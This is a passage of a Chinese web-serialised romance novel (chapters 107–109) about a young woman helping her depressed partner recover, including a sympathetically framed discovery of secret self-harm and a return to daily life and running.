直到白蕊带着昭昭风风火火地闯进来,沉闷的气氛才被打破。两个玩疯了的人儿灰头土脸的,活像两只在泥地里打过滚的小花猫。昭昭一闻到疙瘩汤的香气就欢呼着扑向餐桌,小脑袋几乎要埋进碗里,吃得“吧嗒”作响。白蕊一边喝着汤,一边敏锐地察觉到潇潇的异样。 白蕊含着汤勺含混不清地问:“姐姐你不开心么?” 潇潇慌忙竖起食指抵在唇边,眼神紧张地瞟向卧室方向。 这个下意识的动作让白蕊立刻会意,吐了吐舌头不再作声。 卧室里,楚心柔将她们的对话听得一清二楚。她攥紧被角的手指节发白,心底那股黑色的漩涡又开始翻涌。她恨恨地咬着下唇,气自己这副病恹恹的样子,气自己拖累了潇潇,更气这具不争气的身体为什么迟迟不见好转。 下午的时候,王宁打来了电话,自从潇潇全心照顾姐姐后,青心的重担几乎都压在了王宁肩上。她向来体贴,很少打扰潇潇,只是每隔半月左右,会挑个合适的时间,简明扼要地汇报公司近况。 潇潇看了眼正在午睡的姐姐,轻手轻脚地走到门外才接起电话。通话时她总是下意识地压低声音,生怕惊扰了姐姐的休息。其实中途她曾提议过,想把青心负责人的位置正式交给王宁,自己只保留股份分红就好。但王宁每次都坚决地摇头拒绝——她比谁都清楚,从最初的小作坊到如今初具规模的公司,青心的每一步成长都浸透着潇潇的心血。那些熬过的夜,那些反复打磨的设计稿,那些为了赶订单累到直不起腰的日子,即便潇潇现在不在公司,她依然是青心不可或缺的灵魂。 楚心柔其实并未入睡。 纱帘被海风轻轻掀起,透进一室斑驳的光影。她侧卧在床上,透过晃动的薄纱,看见潇潇站在院外的老榕树下接电话。海风拂乱了她额前的碎发,却掩不住她眉宇间流转的神采,即便消瘦了许多,肤色也被海边的阳光晒得微黑,但那份与生俱来的灵动气质反而更添风韵。 这才是潇潇本该有的模样啊。 她们来这小渔村已经有些时日了。楚心柔比谁都清楚,潇潇心里一定藏着许多焦虑:搁置的学业、停滞的事业上次问起时,潇潇只是轻描淡写地说办理了休学手续。可她知道,是自己拖累了潇潇的人生。 当潇潇挂断电话推门进来时,意外发现楚心柔已经坐在客厅的旧藤椅上,目光静静地落在她身上。 乔潇潇挂了电话进屋之后,看见楚心柔不知道什么时候醒来了,坐在客厅的沙发看着她,“是王宁的电话?” 这简单的一句问话让乔潇潇心头一颤。姐姐已经很久没有主动关心过她的事了。她强压住内心的雀跃,点了点头:“是。” “青心现在情况怎么样了?”楚心柔的声音依然很轻,却让乔潇潇的眼睛瞬间亮了起来,“上次听你说在推新款。” 乔潇潇几乎要跳起来了。她三步并作两步跑到姐姐身边,小心翼翼地确认着楚心柔的眼神,生怕这只是自己的幻觉。在得到肯定的回应后,她迫不及待地打开了话匣子:“一切按部就班的推进,虽然竞争者一直盯着咱,出一款新品就肯定追着出一款类似的仿品,但是质量和细节经不起琢磨……” 她一边说一边偷偷观察姐姐的反应。当看到楚心柔不仅认真聆听,还时不时点头回应时,乔潇潇激动得手心都沁出了细汗。难道真的是皇天不负苦心人?姐姐终于要好起来了吗? 之前,乔潇潇无论是咨询专业人士还是自己看书,都说心理治疗是一个缓慢的过程,不能着急,别看她每天都没有什么起色进展,可能就在某个不经意的瞬间就会突然就会好转。 接下来的几天。 楚心柔的状态确实有了明显好转。她甚至主动和楚凤依视频通话,一边啜饮着冰镇椰汁,一边向妹妹展示着渔村小屋的布置。阳光透过纱帘在她脸上投下细碎的光斑,衬得她整个人都鲜活了几分。 屏幕那头的楚凤依几乎要喜极而泣。二小姐看着姐姐久违的笑容,激动得眼睛发亮,忍不住感叹爱情的力量真是神奇。 就连常来蹭饭的白蕊和昭昭都察觉到了变化。那个总是沉默寡言的楚心柔开始会接话了,原本冰封般的面容渐渐有了温度,偶尔还会流露出细微的表情变化。 所有迹象都在表明,楚心柔正在康复。 只有乔潇潇始终保持着谨慎的观察。从表面看,姐姐确实有了质的飞跃,这种进步甚至称得上医学奇迹。但不知为何,她总觉得这份好转里藏着某种说不清道不明的违和感。 从15岁到如今快22岁,乔潇潇在楚心柔身边已经度过了整整七个春秋。 这七年的朝夕相处,让她们之间建立起某种超越言语的默契,就像海风与潮汐,不需要任何信号,就能感知彼此最细微的变化。 此刻,这种直觉正在乔潇潇心底拉响警报。尽管所有人都为楚心柔的好转欢欣鼓舞,她却总觉得姐姐的笑容里藏着说不出的勉强。就像一幅色彩鲜艳的油画,近看才发现颜料下掩盖着细小的裂痕。 在楚心柔提出要回家的那天中午,乔潇潇正在整理这些天捡来的贝壳。阳光透过窗棂,在五彩斑斓的贝壳上投下跳动的光斑。她沉默地听着姐姐的提议,手指无意识地摩挲着一枚月白色的海螺,那是她特意为姐姐挑的,形状像极了新月。 她中午午睡做了个梦,明明是个欢快的场景,她们和昭昭、白蕊带着孩子们在沙滩嬉戏,楚心柔嘴角噙着温柔的笑意。可画面最后,海水突然漫上来,无声无息地将姐姐吞没。最令人心悸的是,即便在沉入海底的那一刻,楚心柔依然保持着那个微笑,只有眼角不断涌出的泪水。 这个梦像根刺般扎在乔潇潇心头,让她一整天都心神不宁。 所以当楚心柔轻声说要回家时,向来对姐姐百依百顺的她,第一次选择了沉默。 夜色渐深,海风拍打着窗棂,发出轻微的呜咽声。 晚上,当楚心柔再次提起回家的事时,乔潇潇突然撑起身子,在昏黄的台灯光晕中久久凝视着姐姐的脸庞。 四目相视。 楚心柔告诉自己不要躲开,敏感如潇潇,如果她躲开,这些天的努力都白费了。 她不能再这样耗着潇潇了,不能看着她跟自己一样烂掉枯萎。 乔潇潇俯下身,一个轻如羽毛的吻落在楚心柔的颈间。那吻带着海风般的湿润,沿着纤细的颈线缓缓上移,最终停在耳后那片敏感的肌肤上,她能清晰地感受到姐姐的脉搏在唇下加速跳动。 楚心柔在短暂的迟疑后,终于抬起手臂环住了潇潇的腰身。这段时间她们虽然也有过亲昵,但乔潇潇总是克制着,生怕伤到姐姐尚未痊愈的身体。 可今晚,那些顾虑似乎都被海风吹散了。 当楚心柔发出那声小猫般的轻哼时,乔潇潇的理智彻底溃不成军。她的指尖沿着睡裙下摆悄然探入,丝质布料与肌肤相触时发出窸窣轻响,在寂静的夜里格外清晰。 一阵突如其来的海风猛地掀起窗帘,银白的月光如潮水般涌入房间,将两人的身影映照得纤毫毕现。 楚心柔突然按住乔潇潇的手腕,在昏暗的光线里,她的眼眸像是打碎的琉璃,泛着湿润的光泽,“不脱……” 她的声音轻得几乎要被海浪声淹没。 乔潇潇立即停下动作,温柔地吻了吻姐姐的指尖。她向来对楚心柔百依百顺,此刻更是将这份宠溺发挥到极致。转而用缠绵的吻代替双手,像涨潮的海水般一寸寸漫过楚心柔的身子。从精致的锁骨到纤细的腰肢,每一处肌肤都被她虔诚地膜拜。 月光在她们交缠的身影上流淌,海风的咸涩与情动的气息交织在一起。 乔潇潇的唇舌带着灼人的温度,却又温柔得令人心碎,仿佛在通过这种方式确认姐姐真实的存在。 在楚心柔生病的这些日子里。 她何尝不在害怕? 她多么的害怕失去姐姐…… 肌肤之亲,往往最能窥见一个人心底最真实的风景。言语可以修饰,表情可以伪装,唯独身体的本能反应骗不了人。 乔潇潇清晰地感受到楚心柔的异常,她的肌肤在微微颤抖,指尖不自觉地蜷缩,呼吸时而急促时而凝滞。虽然姐姐在努力配合着她的触碰,但乔潇潇就是能感受到她的不安与惶恐。 她在怕什么? 潇潇停下了,她像是以往一样,吻了吻姐姐的额头:“今天已经很好了,我们就到这里?” 她直勾勾地盯着楚心柔,看着她的身躯明显的放松了下来,轻呼了一口气出去。 本来,在姐姐面前,乔潇潇一向是最坦白最真诚的。 这一次,她不得不隐藏。 夜里,她假装睡着了,甚至发出轻微地鼾声,但是大脑保持着高度的清醒。 大概凌晨一点多钟的时候,乔潇潇感觉胳膊被姐姐轻轻的挪开,紧接着,她感觉到楚心柔仔细的打量着她的面容,乔潇潇秉着呼吸继续装睡,随着剧烈的心跳声,楚心柔似乎确定了她在睡觉就下了床。 月光下,楚心柔的大腿上新旧伤痕交错,最新的一道伤口正渗出细密的血珠。鲜红的血线在苍白的肌肤上格外刺目,可她依然感觉不到丝毫疼痛。 她的眼神空洞而迷茫,指尖轻轻抚过那道血痕,看着殷红的液体在指腹晕开。 为什么还是好不起来呢?楚心柔痛苦地闭上眼睛。她的潇潇那么努力,那么期待她的好转,她怎么这么没用? 海风裹挟着夜的凉意,从半开的窗缝钻进来,轻轻撩动楚心柔散落的发丝。她怔怔地望着腿上那道新鲜的血痕,殷红的血珠在月光下泛着诡异的光泽,像一串破碎的珊瑚珠。 门外,乔潇潇死死咬住自己的手背,牙齿深深陷进皮肉里。她睁大的双眼里盛满不可置信的痛楚,整个人簌簌发抖,她拼命压抑着即将决堤的呜咽,下唇被咬破的伤口渗出细小的血珠,混着滚烫的泪水,落在地板上。 【作者有话说】 会好的。 108 第108章 ◎或许,爱更是坦荡,是能将自己最狰狞的伤疤、最不堪的软弱都毫无保留地袒露,却依然确信对方不会转身离去的底气。◎ 潇潇没有戳破姐姐的“秘密”。 她静静地躺在床上,双眼紧闭却毫无睡意,直到楚心柔带着一身夜露的寒气归来。黑暗中,她感觉到姐姐驻足凝视了自己片刻,而后像往常一样,轻轻钻进了她的怀抱。 几乎是本能反应,乔潇潇立即收紧双臂,用脸颊亲昵地蹭了蹭对方的脸颊,这是她多年养成的习惯,只要姐姐靠近就会不自觉地这样做。可这一次,当她感受到怀中人单薄的身躯时,心脏仿佛被利刃刺穿般疼痛。 她不敢想象,在多少个这样的深夜里,姐姐都是这样悄悄起身,独自承受着痛苦。 那个曾经温柔似水、总是把笑容和温暖留给别人的姐姐,内心究竟压抑着怎样的痛苦,才会选择这样偷偷地伤害自己。 她一定是没办法了,才会如此的。 明明自己就在她身边啊…… 第二天一早上。 乔潇潇照理给楚心柔做早饭,乔潇潇照例在厨房忙碌。今天她特意蒸了小笼包,蒸笼里飘出的香气弥漫了整个屋子。昭昭寻着香味早早跑来蹭饭,眼巴巴地守在厨房门口,白蕊却无心美食,红着眼眶盯着客厅角落的行李箱,“姐姐,你要走么?” 乔潇潇擦了擦额头的汗珠,目光越过厨房门框,落在正对着行李发呆的楚心柔身上。她扬起一个明媚的笑容:“回去几天,处理一下公务,再回来。” 她是了解姐姐的。 楚心柔这一顿时间的假装“康复”,为了什么,她想了一个晚上,便也想明白弄清楚了。 她不要增添姐姐心里的负担。 楚心柔听了这话之后,明显地舒了一口气,却很快的隐藏了起来。 吃饭的时候,昭昭和白蕊都耷拉着小脑袋,没什么精神,为了即将的离开而不舍。 乔潇潇语气轻柔,安抚着她们:“我回去,用一个月的时间,把学业和工作处理好就回来,好么?” 真的吗? 两颗小脑袋在同一时间猛地抬起,眼里冒光地看着她。 乔潇潇笑着点了点头,她看向楚心柔:“是不是,姐姐?” 楚心柔握着筷子的手指微微收紧,她低着头轻轻“嗯”了一声,总觉得潇潇的目光似乎穿透了她的伪装,却又不敢深思。 离别前的黄昏,乔潇潇像往常一样,从身后环抱着姐姐坐在船头。 海风裹挟着咸湿的气息拂过两人的发梢,远处传来悠长的号角声,在暮色中回荡。 夕阳的余晖将相偎的剪影拉得很长,仿佛要一直延伸到海的尽头。 “姐姐,一到暑假,我们就立刻过来,好么?” 乔潇潇的声音平静地像是要揉入大海之中,楚心柔看着她的眼睛,抿着唇,想要说些什么,乔潇潇却笑着先说了,“姐姐,你知道吗?在这样远离世事的小岛上上和你一起生活,是我的梦想。” 梦想么? 这话像是落入水中的明月,在楚心柔的心里荡起了涟漪。 返程的高铁上,窗外的风景飞速掠过。 乔潇潇专注地翻阅着那本厚重的心理书籍,从前她总是偷偷摸摸地看,如今却光明正大地摊在膝头,她突然开口,“姐姐。”指尖轻轻摩挲着书页,“你说这世上,最难琢磨的莫过于人心了吧。” 楚心柔望着窗外发呆,眼神又变得涣散起来,思绪不知飘向了何方。 “我记得小时候。”乔潇潇的声音很轻,像是在讲述别人的故事,“爸爸一喝酒就会打我,下手没轻没重的。有几次……”她的指尖无意识地蜷缩起来,“我真的以为自己会死在他手里。那时候恨透了他,甚至……”她顿了顿,“甚至盼着他死。可后来他真的走了,我却没有想象中痛快,心里反而有着说不出的悲凉。” 楚心柔突然伸手将她揽入怀中。 乔潇潇顺势靠在她肩头,声音闷闷的:“还有妈妈……她带着妹妹离开的时候,明明知道留下我要承受什么……”她的睫毛轻轻颤动着,“我恨过她,可是我也明白,如果她不走,不仅仅是她,我和妹妹都要重复地过上她过的生活……我努力告诉自己不要恨,却没办法真的不去恨……” 这些话,在这之前,乔潇潇是不会跟姐姐说的,她总觉得现在的楚心柔如此脆弱,需要她的保护,不能再让她满是伤痕的心增添痛苦了。 可昨天晚上,乔潇潇仔仔细细地想了一个遍。 她没有去想怎么让姐姐好,想的是当初自己是怎么走出来的。 那时候看到妹妹跟了妈妈的姓,改了名字,从来没有听说过自己还有一个姐姐,知道妈妈从最开始就打算真的放弃她之后,乔潇潇也是痛苦不堪,被深深的恨意与不配感笼罩。 可后来呢? 她是怎么爬出来的? 她觉得还有姐姐啊。 她要走出来,往后余生,她还要照顾姐姐,还要呵护姐姐。 是不是她们都太敏感了? 爱是什么? 是深夜相拥时不必言说的懂得,是看穿脆弱后默契的守护,是明知对方在伪装却甘愿配合演出的温柔。 但或许,爱更是坦荡,是能将自己最狰狞的伤疤、最不堪的软弱都毫无保留地袒露,却依然确信对方不会转身离去的底气。 真正的治愈,也不是小心翼翼地避开所有伤痛,而是确信即使自己满身伤痕,也永远有一个怀抱会无条件地接纳。 出站口处,乔潇潇挽着姐姐的手臂,远远就看见杨绯棠像只花蝴蝶般朝她们用力挥手。那一刻,久违的归属感涌上心头。 乔潇潇松开姐姐,三步并作两步冲过去给了杨绯棠一个结实的拥抱。杨绯棠激动得眼眶泛红,习惯性地用眼神询问近况。 乔潇潇这一次没有用眼神交流,她笑着说:“姐姐还没完全好呢,但是状态好多了。” 杨绯棠诧异地看了看自家崽子,心柔没好,她能看出来,但是崽子,是不是有点不一样了? 还没到家。 乔潇潇就点名要吃麻辣小龙虾,点了四种口味,杨绯棠听了直蹙眉,“吃那么重口味能行么?” 医生不是说让楚心柔多吃点清淡的么? 乔潇潇看着姐姐,抓着她的手撒娇:“我想吃。” 楚心柔看着她的眼睛,轻轻地点了点头。 这一刻,楚心柔清晰地感觉到,潇潇在她面前终于卸下了所有小心翼翼。不再把她当作需要特殊照顾的病人,不再像对待易碎的娃娃,而是恢复了从前那种自然而亲昵的相处方式。 的确是恢复了。 尤其是干饭人的模样。 当乔潇潇一口气干了两盆小龙虾的时候,杨绯棠倒吸一口凉气,“不是……你不是带着心柔去海边了么?怎么跟逃难似的?” 乔潇潇摸着肚子,“最近这段时间心事儿重,这才放下,必须好好补补。” 说着,她熟练地剥开一只红艳艳的小龙虾,将鲜嫩的虾肉递到楚心柔唇边。 楚心柔怔了怔,下意识地张口含住。久违的麻辣滋味在舌尖炸开,她一时不适应,呛得眼角泛起泪花,白皙的脸颊瞬间涨得通红。乔潇潇连忙拧开饮料递过去,楚心柔连喝几口,又扒拉了几口米饭压惊,这才缓过气来。 杨绯棠人精似的,在旁边看着,心底感慨,看来乔老师是弄明白治疗策略了。 说什么治疗。 乔潇潇只是首先把自己内心繁重的单子给卸下了。 她不再把楚心柔当做一个“病人”看待,生活也恢复了常规模式。 不过,她到哪儿都给姐姐发语音,发视频,像是个粘人的猫咪。 弄得楚心柔想要安安静静地画一会儿画都不行,干脆把手机放在了一边,一条条听潇潇的话。 事无巨细。 从今天到学校报道,她给自己定了怎么样的计划,再到归隐了这段时间,她感觉自己的“名气”没那么大了,学校里都没有找她签名的小粉丝了,有点释然又有些失落的……到后来,简直要把拉.屎是否顺滑都要跟楚心柔汇报一下了。 她去青心,受到了大家的热烈欢迎,尤其是袁璐眼泪都要掉下来了,“呜呜,老大,我还以为你不要我们了。” 乔潇潇这股感动的劲儿还没下去,小花就红着眼睛补充,“听杨姐姐说,你再那边又认了好多妹妹,准备开分店。” 乔潇潇:…… 她查看了近一个月来青心的工作进展,在心底感慨她宁姐的厉害。 王宁也不再是之前那个流水线上的小村姑了,她穿着黑色的西装西裙,淡妆得体,看到乔潇潇之后,什么都没说,给了她一个大大的拥抱。 一切都像是恢复了正常。 楚心柔的心莫名的轻松了很多。 她最在意的人,总是没有因为她被耽误。 只是…… 空下来的时候,她还是会处于那种茫然无所是从的状态。 但这也仅限于潇潇不在的时候。 潇潇只要晚上一回来,就忙的跟陀螺似的,先是拉着她非要让她在旁边看自己现在的大学知识有多么的变.态,但是她有多么的聪明,过目不忘,又为了提升口语,拉着楚心柔看那些经典外文片子。 好不容易快十点了。 乔潇潇又把自己设计的新款草稿给楚心柔看,“姐姐,你看,这是我准备推出的青心的新品。” 这灵感还是源于在小渔村待的这几天得到的。 手串的设计一改青心惯用的热烈红色,转而采用深浅不一的蓝色珠玉,宛若将整片海洋的韵律凝结其中。每一颗珠子都经过精心打磨,呈现出流水般柔和的弧度,整体线条流畅得仿佛能听见潮汐的呼吸。没有繁复的装饰,只在衔接处点缀着几粒银白色的月光石,像是浪尖上跳跃的细碎星光。 楚心柔本来心思不在这儿,又不知道飘到哪儿去了,乔潇潇使劲晃着她的手臂,“姐姐,你看啊,要是这款销量好,我准备回头授权给海霞村。” 这关系的有些大。 楚心柔打起精神认真地查看手串的细节,她仔仔细细地看完之后,问:“是凸显海的柔和么?” 乔潇潇摇头:“我的设计理念是现在的年轻人就该活得像大海一样自由。想澎湃时就掀起惊涛骇浪,想安静时就做一泓温柔的碧波。涨潮退潮都是天性,何必在意岸上人的眼光?简单来说——躺平or摆烂任我行。” 楚心柔沉默了片刻,她盯着乔潇潇看的认真,本来不想说的,可乔潇潇在她耳边叨叨个不停,“她们都觉得反向不会好,改动太大。” “本来想要民主开会表决的。” “可被我一票否决了,开玩笑么?我到底是boss,还需要什么投票?” “不过,你说宁姐这样我能理解,毕竟年龄在那,但是小花白七和袁璐是为了什么?年轻人敢打敢冲的劲儿在哪儿?难道青心现在就要墨守成规养老了么?” 楚心柔感觉耳边有苍蝇嗡嗡地飞着,她忍无可忍地问:“是青心最近推出的新款销量都不好么?” 乔老板的更年期提前了? 乔潇潇:…… 被姐姐毒舌重伤的乔潇潇挑灯夜烛,本来楚心柔想去床上躺着的,却被她一把捞了回来,抱在怀里:“别去床上了,陪陪我,反正你也睡不着。” 楚心柔:…… 的确是睡不着。 但被乔潇潇这么熬鹰似的一直熬到两点钟,看她画各种海浪的样子,到最后,楚心柔感觉自己都有点眩晕在那一片蓝色之中了,问题是每当她感觉自己的眼睛要闭上的时候,乔潇潇都会碰一碰她,认真地问:“姐姐,你觉得这一笔怎么样?能行么?” 到最后的结果就是…… 楚心柔睡着了。 虽然只有不到两个小时的睡眠,楚心柔却难得地进入了深度睡眠。她梦见自己漂浮在温暖的海水中,阳光透过水面洒下粼粼波光。正当她放松身心时,突然被一根粉笔精准击中额头——梦里乔潇潇站在讲台上,叉着腰说:“那位同学,认真点,回答我,我的设计理念是什么?” 楚心柔猛地惊醒,后背沁出一层薄汗。转头看见乔潇潇正睡得香甜,小嘴微微嘟起,随着呼吸轻轻翕动。她盯着这张无辜的睡颜看了许久,鬼使神差地伸手捏住了那两片柔软的唇瓣。 睡梦中。 潇潇被吵醒了,她揉了揉眼睛,叫了一声:“姐姐?”声音里没有半分被吵醒的不悦。她摸过床头的手机瞥了一眼,嘟囔着:“才五点啊?” 说着,她像只撒娇的小猫般用脸颊蹭了蹭楚心柔的颈窝,随即一个鲤鱼打挺坐起身来,利落地开始套T恤。 这下,平日里习惯了浑浑噩噩的楚心柔也不得不警觉起来,她撑起身子,声音里带着难得的清明与威严:“你要干什么?” 乔潇潇打了个哈气,看着她:“早起的鸟儿有虫吃,走啊,姐姐,我们去跑五公里。” 【作者有话说】 楚心柔:……求放过。 乔潇潇:我才刚开始。 109 第109章 ◎楚姐姐,你看阿发哥看着潇潇姐姐,笑的多开心。◎ 乔潇潇是个什么人? 那可是靠捡垃圾起家,发家致富的狠人物,她要是想干什么,不到黄河心不死。 楚心柔就是再眼神发狠也没用,潇潇自顾自地穿着衣服,犹如盲人一样看不到她的任何冷眼,径直走到姐姐的面前,牵住她的手:“姐姐,最难的总是第一天,我会陪着你的。” 楚心柔是一点都不想让她陪,想要甩开手,可乔潇潇的手像是镊子一样,她挣扎不了丝毫。 人一旦精神倦怠,身体也会没有力气,楚心柔感觉自己走路都费劲,更别提跑步了,只是几步就气喘吁吁,偏偏乔潇潇还在旁边用那种哄三岁孩子的语气说着:“好,跑的非常好~总算是迈开了第一步呢。” …… 杨绯棠一早上拎着小笼包来准备一起吃饭的,她今天特意买的第一锅刚出来的,还冒着热气,美滋滋地往过走,还没到,远远的就听见乔潇潇嘹亮的声音。 “一二一,明天会更好!” “一二一,还有两公里!” “一二一,姐姐好棒啊!” 她顺着声音看过去,简直是目瞪口呆。 她从*未见过如此狼狈的楚心柔。 晨光中,那个向来优雅从容的人此刻正被乔潇潇半拖半拽地跑步,发丝凌乱地贴在汗湿的额前,精致的面容因剧烈运动而涨得通红。楚心柔时不时就要弯下腰,双手撑在膝盖上大口喘息,胸脯剧烈起伏着,连一句完整的话都说不出来。 与之形成鲜明对比的是活力四射的乔潇潇。她迈着轻盈的步伐,像只欢快的小鹿般绕着楚心柔转圈,额间也沁着细密的汗珠,却更添几分青春朝气。见楚心柔又一次停下来喘息,乔潇潇眨着明亮的眼睛凑上前:“姐姐,要我背你吗?”!!! 这场突如其来的晨跑让楚心柔直到早餐时分都赌气不理乔潇潇。她瘫坐在餐桌前,感觉双腿软得像煮过头的面条,连握着汤匙的手指都在微微发抖。过度消耗的体力让她的身体仿佛被掏空,连往日那些阴郁的情绪都暂时消失了踪影,此刻她满脑子只剩下对乔潇潇“暴行”的控诉。 厨房里传来轻快的哼唱声。刚沐浴完的乔潇潇浑身散发着清新的沐浴露香气,正利落地打着蛋花。蒸腾的热气中,她哼着不成调的小曲,时不时偷瞄一眼餐桌旁那个气鼓鼓的身影,嘴角扬起一抹狡黠的弧度。 杨绯棠看着楚心柔累得连话都不想说,小口小口地抿着温水,不由得心疼起来。她夹起一个小笼包,边嚼边含糊不清地说:“潇潇啊,这个锻炼是不是得循序渐进?”她偷偷瞄了眼楚心柔发颤的手指,“这么练会不会太猛了?” 楚心柔闻言抬眸,朝杨绯棠投来一个感激的眼神。那目光里久违的温度让杨绯棠心头一热,差点被嘴里的包子噎住。多久了?有多久没见到心柔这样温柔地看她了? 乔潇潇端着蛋花汤从厨房走出来,瓷碗里金黄的蛋花随着步伐轻轻晃动。她笑盈盈地看着杨绯棠:“杨姐姐对姐姐真好,真讲义气。” 杨绯棠被夸得耳根发热,将头发掖到了耳朵后面,故作矜持:“还行吧,毕竟像我这么体贴的人也不多见。” 楚心柔眯起眼睛看了看她,轻轻摇头。 “嗯?”杨绯棠正纳闷这反应是什么意思,就听见乔潇潇欢快地说:“既然杨姐姐这么够意思,明天一起跑步吧?” …… 就一天五公里,就把杨绯棠给拉练的吱哇乱叫,她连气儿都喘不匀,扶着墙,“啊啊啊,乔潇潇,你要是再催我一下,我就跟你急!” 乔潇潇也不反驳,看了看旁边沉默的楚心柔,说:“姐姐,是不是幸福都是对比出来的?” 有杨姐姐跟着跑,姐姐明显反抗情绪没那么重。 楚心柔不得不承认,好像真的是这样,甚至在杨绯棠的哀嚎声中,腿都没那么难受了,在听到杨绯棠剧烈如要爆炸一般的呼吸声时,她感觉自己的气息也没有那么的凌乱了。 过来给乔潇潇送材料的袁璐看到乔潇潇这么练两个老姐姐,有点于心不忍了,“大姐,是不是强度太大了?她们毕竟不年轻了。” 一句话,得罪了三个人。 楚心柔和杨绯棠将刀子一样的目光射向袁璐。 乔潇潇依旧笑呵呵地说:“是,你年轻,明天也加入吧。” …… 自此一役。 潇潇是彻底封神了,从此,她带着姐姐跑步的路上,再没了任何拦路虎,谁也不敢再说个半个“不”字。 楚心柔那几天被累的回到家里一个字也不愿意说,洗了澡躺在床上陷入了昏迷。 她觉得自己不是睡着了,而是“累”昏迷了。 她就这么静静地躺着,仿佛一具失去意识的躯壳。 奇妙的是,这副长期被抑郁掏空的身体竟渐渐适应了这样的强度。最初那几天跑步简直要了她半条命,可一周过后,她竟能勉强跟上乔潇潇的节奏了。随着体能的提升,那些如影随形的负面情绪似乎也淡了些许。虽然夜晚依旧辗转反侧,只能断断续续睡上两三个小时,但这对曾经的她来说已是难得的改善。 只是这样,乔潇潇就不知道多满足了,甚至开心到晚上做梦都在笑,笑声把本来就睡眠浅的楚心柔给吵醒了。 “你笑什么?” 楚心柔推了推乔潇潇的胳膊,想着她是不是梦见拉练自己了。 乔潇潇迷迷糊糊地睁开眼,睡意朦胧间下意识将楚心柔搂进怀里,含混不清地呢喃:“姐姐,我梦见你好了……”话音未落,又沉沉睡去,呼吸渐渐变得绵长。 楚心柔却僵在了这个温暖的怀抱里。月光透过纱帘,在乔潇潇的睡颜上投下细碎的光斑。许久,一滴泪无声地滑落,她蜷缩起身子,将脸轻轻贴在乔潇潇的胸口。 爱是什么? 在遇见潇潇之前,这对楚心柔而言不过是个虚无缥缈的词汇。她从小见惯了世态炎凉——为了利益反目的夫妻,算计子女的父母,明争暗斗的兄弟姐妹。那些书本里讴歌的至纯至爱,那些歌词里吟唱的刻骨铭心,在她看来不过是文人墨客的浪漫幻想。 可如今,当乔潇潇在梦中都惦记着她的康复……那些曾经被她嗤之以鼻的文字,突然都有了具体的模样。 每一句情诗,每一段歌词,都像是在诉说着她们的故事。 ——她们。 看着乔潇潇如此殷切地期盼自己好起来,楚心柔也渐渐拾起了对抗抑郁的勇气。只是情绪如同捉摸不定的潮汐,不是单凭意志就能驾驭。 有时众人围坐谈笑,觥筹交错间,一阵无来由的悲凉会突然漫上心头。明明身处热闹之中,孤独感却如影随形,将她与周遭的欢声笑语生生隔开。 但奇妙的是,每当这种时刻哪怕她将情绪掩饰得再好,唇角保持着完美的弧度,乔潇潇总能敏锐地察觉。那个身影会毫不犹豫地穿过人群,抛下正在交谈的友人,坚定地来到她身边,用一个温暖的拥抱将她从情绪的漩涡中打捞出来。 除此之外,潇潇也的确说到做到,谁也不知道,她到底哪儿来的那么大的毅力。 她用了一个月的时间,把落下的学业都恶补了回来,还把青心的新款和一个重要合作案给排定了,顺便,她还去对接了一下之前合作过的白绯。 白绯对于潇潇的亲自拜访很惊讶,现在的潇潇已经不是之前那个要靠着她才能脱离困境的小女孩了,这些年,虽然生意上往来少了,但是乔潇潇年年都会给白绯打电话拜年,感情一直没有断。 “哟,什么风把大忙人吹来了?” 乔潇潇笑呵呵地开门见山,“姐,我需要你帮忙。” 白绯素来欣赏乔潇潇的直率,她饶有兴致地端起茶杯,“我看青心现在推了好几个爆款了,你找我帮什么忙啊?” 乔潇潇从包里取出一份企划书。她注意到白绯的工厂一直专精贝类饰品加工,而海霞村的村民们正苦于零散销售难成规模。她想为双方牵线搭桥,将村民们的原材料与白绯的生产线对接起来。 白绯仔细翻阅着企划书,指尖在报价单上顿了顿,“价格的确要比我进货还低,不过,潇潇——”她有点纳闷,“你现在一天天忙成这样,怎么还有心思管别人细枝末节的事儿?” 乔潇潇勾了勾唇角,“都是缘分吧。” 说是缘分。 乔潇潇回到家之后,抱着姐姐坐在天台上可不是这么说的,她一边亲着楚心柔的额头,一边晃着,声音里带着几分撒娇:“姐姐,你说当初的我那么渺小,你是怎么看到的?” 楚心柔别过脸去不作声,她今晚被逼着做的那二十个原地跳,让她现在小腿还打着颤。 乔潇潇不依不饶地又凑近,温软的唇瓣落在楚心柔的耳际:“幸好有姐姐。”她的声音突然认真起来,“是因为有你,才有现在的我。” 楚心柔的身子微微一颤。 夜风送来远处隐约的蝉鸣。乔潇潇将下巴抵在楚心柔肩头,轻声道:“帮助别人时,我总觉得像是在救赎当年的自己。”她顿了顿,“这样的感觉,很快乐。” 这些隐藏在心底最深处的字眼,之前,乔潇潇是不会这么坦白地说给楚心柔听的,她不好意思。 可如今,她没有什么不能说的了。 楚心柔听到了之后抿着唇陷入了沉默。 曾几何时,她又何尝不是潇潇这样的心思?尤其是在听说黄素兰把糯糯不能说话的错,硬压在她身上时,那股子自心底涌起的保护欲让她就想要去帮这个孩子。 缘分,或许就是这样横冲直撞地不讲道理。 谁也说不清到底是为了什么。 日子过得飞快,暑假的第一天。 乔潇潇早早就收拾好行李,拉着楚心柔重返海霞镇。杨绯棠本也兴致勃勃地要跟着去,她想象着碧海蓝天、细软白沙的美好画面,正美滋滋地收拾防晒霜时,突然嘴快地问了句:“那边怎么样?有没有八块腹肌的帅哥啊?” 她心里想的是刷到的视频里那种冲着浪身材巨棒的小伙子。 乔潇潇认真地想了想,“确实有,岛上几个救生员和潜水教练身材都不错。” 话音刚落,坐在一旁品茶的薛总突然抬眸,嘴角勾起一抹意味深长的笑。 旁边的姐姐没有抬头,不知道在思考什么。 薛总一笑,生死未卜。 反正第二天杨绯棠是没起来床,也因此没能去。 这一次,潇潇和姐姐这一次到了海霞村可不是之前的陌生人身份了,昭昭和白蕊像是两颗炮.弹一样投入了潇潇的怀抱,嚷嚷着要吃好吃的,村长更是激动地握着乔潇潇的手,“谢谢啊,谢谢你。” 潇潇对于小渔村的帮助,一直是匿名的,只是要对接很多东西,才跟村长打了招呼,只是她不喜欢让别人知道,帮人不过是随手,她想要跟姐姐过那种安静的生活。 只是这一次,来了岛上的楚心柔明显情绪不高,还不是之前那种莫名的低落,像是有什么惹到了她一样。 乔潇潇有点不明白,好几次想要去问问她,楚心柔都给了她一个后脑勺。 一直到第四天。 乔潇潇带着姐姐去岛中央,她想要学游泳,之前,她一直就想学来着,因为太忙都耽搁了。 她对体育相当精通,学游泳也是信心满满。 她把姐姐安排在绿茵树下,怕她孤单,还特意把白蕊叫了过来陪她。 